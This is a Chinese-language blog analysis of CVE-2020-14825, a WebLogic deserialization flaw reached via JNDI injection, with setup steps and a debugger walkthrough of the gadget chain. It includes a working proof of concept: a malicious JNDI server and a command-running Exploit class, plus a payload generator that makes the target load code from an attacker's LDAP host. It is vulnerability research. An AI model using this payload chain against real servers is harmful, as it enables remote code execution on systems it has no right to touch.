CVE-2020-14825——WebLogic反序列化

CVE-2020-14825——WebLogic反序列化

 

一、原理

(一)概述

不安全的反序列化漏洞已成为针对Java Web应用程序的研究者的普遍目标。这些漏洞通常会导致RCE,并且通常不容易完全修补。CVE-2020-14825就属于这一类。

(二)CVE-2020-14825

前面我认为针对CVE-2015-4852的补丁的绕过有两种思路,一是寻找新的可利用的(新gadget),二是换可触发利用链的反序列化,感觉JNDI注入类的已经不属于不完全属于这两种思路了(脸好疼)。
在这一类漏洞中,Victim反序列化的对象起到的是让Victim执行远程查询的效果,接下来直接加载远程class而没有像前面一样执行gadget类的readObject。
然而,传过去的触发JNDI注入的对象依然值得我们关注。

(三)原理

JNDI(全称Java Naming and Directory Interface)是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。和与主机系统接口的所有Java api一样,JNDI独立于底层实现。此外,它指定了一个服务提供者接口(SPI),该接口允许将目录服务实现插入到框架中。通过JNDI查询的信息可能由服务器、文件或数据库提供,选择取决于所使用的实现。

JNDI注入大致流程,

CVE-2020-14825——WebLogic反序列化

1.攻击者向其控制的Naming/Directory服务上绑定一个恶意对象。
2.攻击者向有漏洞的JDNI lookup方法发送恶意URL(ip为恶意N/D,且指向绑定的恶意对象)。
3.Victim执行lookup。
4.Victim向攻击者控制的N/D服务器发起查询,N/D返回恶意对象。
5.Victim反序列化恶意对象,触发RCE。

个人理解,JNDI注入简单来说,就是在victim在执行lookup(URI)时,如果URI是恶意的,那么victim就会被攻击,所以JDNI最难的就是如何让victim来lookup我们构造的URI。
下面我们以一个常见的demo来简单演示JNDI攻击过程,

CVE-2020-14825——WebLogic反序列化

先是JNDIServer,

package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference Exploit = new Reference("Exploit", "Exploit", "http://127.0.0.1:7077/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(Exploit);
registry.bind("Exploit", refObjWrapper);

}
}

再是JNDIClient,

package JNDI;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Properties;

public class JNDIClient {
public static void main(String[] args) throws NamingException {
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://127.0.0.1:7099/");

Context ctx = new InitialContext(env);
//ctx.lookup("Exploit");
//ctx.lookup("rmi://127.0.0.1:1099/Exploit");
ctx.lookup("ldap://127.0.0.1:7099/Exploit");
}
}

然后是我们要注册的恶意类,此处是Exploit,

import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class Exploit implements ObjectFactory {
public Exploit() {
}

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
return null;
}

static {
try {
String[] cmd = new String[]{"calc"};
Runtime.getRuntime().exec(cmd);
} catch (Exception var1) {
var1.printStackTrace();
}

}
}

接下来编译Exploit,并将class文件放在httpserver根目录下,
启动server,

CVE-2020-14825——WebLogic反序列化

启动JNDIServer,

CVE-2020-14825——WebLogic反序列化

启动JNDIClient,

CVE-2020-14825——WebLogic反序列化

可见,执行lookup(恶意url),就有可能触发RCE。

这里,我们省去了最难的lookup之前这一部分,即让victim向JNDI server发起请求,这一部分的实现就是同一类漏洞之间的差异了,我们将在调试环节详细演示。

 

二、调试

(一)环境搭建

此处选用Windows10、JDK8u41,webLogic12.1.4
若要查找调试此漏洞需要的包,可使用如下脚本(参见脚本链接),

#!/bin/bash

if [ $# -lt 1 ]; then
echo "Usage: $0 name [path ...]";
exit 2;
fi

name=${1//./\/};
shift;
path=${@:-.};

function check-jar() {
jar -tf "$1" | grep -iH --label "$1" "$name";
}

status=1;

while read -r -d '' jarfile; do
check-jar "$jarfile" && status=0;
done < <(find $path -type f -name '*.jar' -size +22c -print0)

exit $status;

CVE-2020-14825——WebLogic反序列化

另,调试此漏洞,JDK版本不宜过高, JDK8u113之后默认不允许RMI从远程的 Codebase加载Reference工厂类(系统属性com.sun.jndi.rmi.object.trustURLCodebase、 com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值为false)。
若要修改weblogic的jdk版本,可参考链接
修改文件X:\xxxx\user_projects\domains\base_domain\bin\setDomainEnv.cmd
在call “%WL_HOME%..\oracle_common\common\bin\commEnv.cmd”
一行后面增加

set JAVA_HOME=E:\Java\java8u41(Java路径

CVE-2020-14825——WebLogic反序列化

若要启动调试,可在startWebLogic.cmd中的首部加上

set JAVA_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n

CVE-2020-14825——WebLogic反序列化

类似的方法有很多,不再赘述

(二)复现

这里使用大佬生成payload的代码,参考链接

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import ysoserial.payloads.util.Reflections;

import java.io.*;
import java.util.PriorityQueue;

public class CVE_2020_14825 {
public static void main(String[] args) throws Exception {
MethodAttributeAccessor accessor = new MethodAttributeAccessor();
accessor.setAttributeName("x");
accessor.setIsWriteOnly(true);
accessor.setGetMethodName("getDatabaseMetaData");
// accessor.setGetMethodName("connect"); //与上面的getDatabaseMetaData基本等效

LockVersionExtractor extractor = new LockVersionExtractor(accessor,"");

JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(com.sun.rowset.JdbcRowSetImpl.class);
jdbcRowSet.setDataSourceName("ldap://192.168.5.27:7099/#poc");

PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(extractor));
Reflections.setFieldValue(queue,"size",2);

Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(new File("cve_2020_14825.ser")));
out.writeObject(queue);
out.flush();
out.close();
// readObject(); //不注释掉可以直接测试
}

public static void readObject() {
FileInputStream fis = null;
try {
fis = new FileInputStream(new File("").getAbsolutePath() + "/cve_2020_14825.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}

先启动weblogic server,

CVE-2020-14825——WebLogic反序列化

再启动http服务,开在9090端口,

py -3 -m http.server 9090

CVE-2020-14825——WebLogic反序列化

接下来是LDAP server,服务开在7099端口,

CVE-2020-14825——WebLogic反序列化

python发送payload即可,

python2 .\weblogic.py 127.0.0.1 7001 .\cve_2020_14825.ser

CVE-2020-14825——WebLogic反序列化

(三)调试

下面会结合部分上述代码进行调试分析,
调用栈,

connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)

getAttributeValueFromObject:82, MethodAttributeAccessor (org.eclipse.persistence.internal.descriptors)
getAttributeValueFromObject:61, MethodAttributeAccessor (org.eclipse.persistence.internal.descriptors)
extract:51, LockVersionExtractor (oracle.eclipselink.coherence.integrated.internal.cache)
compare:71, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
...

将调用栈分作两段来分析。

1.JdbcRowSetImpl部分

从本文的原理部分我们可以看到,JdbcRowSetImpl的connect函数有lookup()的调用,那么我们要关注两点,一是参数是否可控,二是调用点是否可达

CVE-2020-14825——WebLogic反序列化

参数是否可控这一点理论上是比较容易看出的,
看看getDataSourceName(),

CVE-2020-14825——WebLogic反序列化

dataSource是private变量,

CVE-2020-14825——WebLogic反序列化

是可控的,

CVE-2020-14825——WebLogic反序列化

这一部分在PoC中有所体现,

JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(com.sun.rowset.JdbcRowSetImpl.class);
jdbcRowSet.setDataSourceName("ldap://192.168.5.27:7099/#poc");

下面我们需要关注lookup调用点是否可达,首先要看,connect函数本身的内部,

CVE-2020-14825——WebLogic反序列化

首先一点就是要保证this.conn为null,大致意思是这是首次连接,否则就要return conn。
接下来才能进入else if{}中,这时要保证this.getDataSourceName()不为null,这一点和我们控制dataSource的想法是一致的。

接下来的问题就是,如何调用connect,一般来讲我们发送给webLogic的对象要经过层层波折,最终才能到达这个触发点。

CVE-2020-14825——WebLogic反序列化

这里有三个函数prepare, getDatabaseMetaData,setAutoCommit,

都看一下,

CVE-2020-14825——WebLogic反序列化

CVE-2020-14825——WebLogic反序列化

CVE-2020-14825——WebLogic反序列化

理论上都可以,毕竟都可以做到首次连接。
PoC里用的是getDatabaseMetaData,到此,我们看看PoC对应的代码,

accessor.setGetMethodName("getDatabaseMetaData");

当然,这里的setGetMethodName的参数不一定非要是”getDatabaseMetaData”,因为这里的getMethodName 是要被调用的,只要能调用connect函数就行,直接调用connect都可。

所以有如下结果,

CVE-2020-14825——WebLogic反序列化

CVE-2020-14825——WebLogic反序列化

2.LockVersionExtractor部分

这一部分我们从CC链部分开始看起,
首先进入PriorityQueue的heapify,

CVE-2020-14825——WebLogic反序列化

接下来,若要进入siftDown,需要保证queue的size至少为2,

CVE-2020-14825——WebLogic反序列化

对应代码里的,

PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(extractor));
Reflections.setFieldValue(queue,"size",2);

然后的流程和comparator有关,

CVE-2020-14825——WebLogic反序列化

这里我们已经控制了comparator为ExtractorComparator,对应代码的下面的片段,

PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(extractor));

next,会顺利comparator.compare(),

CVE-2020-14825——WebLogic反序列化

what follows is o1.extract(),这里的o1是上图的x,this.m_extractor为LockVersionExtractor

CVE-2020-14825——WebLogic反序列化

对应代码里的如下片段,

LockVersionExtractor extractor = new LockVersionExtractor(accessor,"");
...
Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;

then,顺利到达LockVersionExtractor.extract中的this.accessor.getAttributeValueFromObject(arg0)(这里有一个小点,即为什么可以顺利到达,会在下面讲到),

CVE-2020-14825——WebLogic反序列化

往后,会进入重载的getAttributeValueFromObject(),

CVE-2020-14825——WebLogic反序列化

CVE-2020-14825——WebLogic反序列化

顺利抵达上图中的this.getMethod.invoke(),

CVE-2020-14825——WebLogic反序列化

接下来就是正常的调用过程,此处就省略几步,直到下图,

CVE-2020-14825——WebLogic反序列化

正式调用getDatabaseMetaData,和前面的规划对接成功。

3.其它

LockVersionExtractor.extract()中有一个需要注意的小点如下,

getAttributeValueFromObject:61, MethodAttributeAccessor (org.eclipse.persistence.internal.descriptors)
extract:51, LockVersionExtractor (oracle.eclipselink.coherence.integrated.internal.cache)

在上面两步之间,会经历下面这样的过程,

CVE-2020-14825——WebLogic反序列化

因为我们的目的是进入this.accessor.getAttributeValueFromObject(arg0),我们就得保证程序可以顺利抵达return这一行,我们要防止在上图红圈那一行被打断。

我们看上图展示的点,

CVE-2020-14825——WebLogic反序列化

应该是必然会进入if (!this.accessor.isInitialized())的,
下面我们看this.accessor.initializeAttributes(arg0.getClass()),

CVE-2020-14825——WebLogic反序列化

发现如果this.getAttributeName() == null,就会抛出异常,后面的流程就无法执行。

CVE-2020-14825——WebLogic反序列化

所以我们需要设置一个attributeName;
除此以外,下面还有一步,

CVE-2020-14825——WebLogic反序列化

可以看到,如果isWriteOnly为false,则会执行this.setSetMethod(Helper.getDeclaredMethod(theJavaClass, this.getSetMethodName(), this.getSetMethodParameterTypes()));

CVE-2020-14825——WebLogic反序列化

跟进Helper.getDeclaredMethod(),

CVE-2020-14825——WebLogic反序列化

会进入PrivilegedAccessHelper.getMethod(javaClass, methodName, methodParameterTypes, true);,

继续跟进,

CVE-2020-14825——WebLogic反序列化

CVE-2020-14825——WebLogic反序列化

可以看到,最终会调用javaClass.getDeclaredMethod(methodName, methodParameterTypes);

结合上面的情况,我们知道此处的methodName即为MethodAttributeAccessor.setMethodName,

CVE-2020-14825——WebLogic反序列化

所以如果再向下执行,就会抛出异常,

CVE-2020-14825——WebLogic反序列化

这里我能想到的解决方法有二,一是将setMethodName设为一个有效值,如getDatabaseMetaData;第二种是将isWriteOnly设置为true,直接避免了后面的所有行为。

然而经测试,第一种没有用(可能是我愚钝不知哪里错了)。

CVE-2020-14825——WebLogic反序列化

将isWriteOnly设置为true更为简单有效。

所以我们看到,代码里有下面三行。

accessor.setAttributeName("xxx");
accessor.setIsWriteOnly(true);
accessor.setGetMethodName("getDatabaseMetaData");

 

三、收获与启示

CVE-2020-14825和CVE-2020-14645有比较高的相似度,大致思路都是接上JdbcRowSetImpl的connect,而且二者也都使用了PrioritizeQueue 的模板链。这两个漏洞又一次向我们展示了拦腰截断的防御并不是特别有效,有一定的可能被counterpart接上。
参考链接


版权归原作者所有,如若转载,请注明出处:https://www.ciocso.com/article/777.html

发表评论

登录后才能评论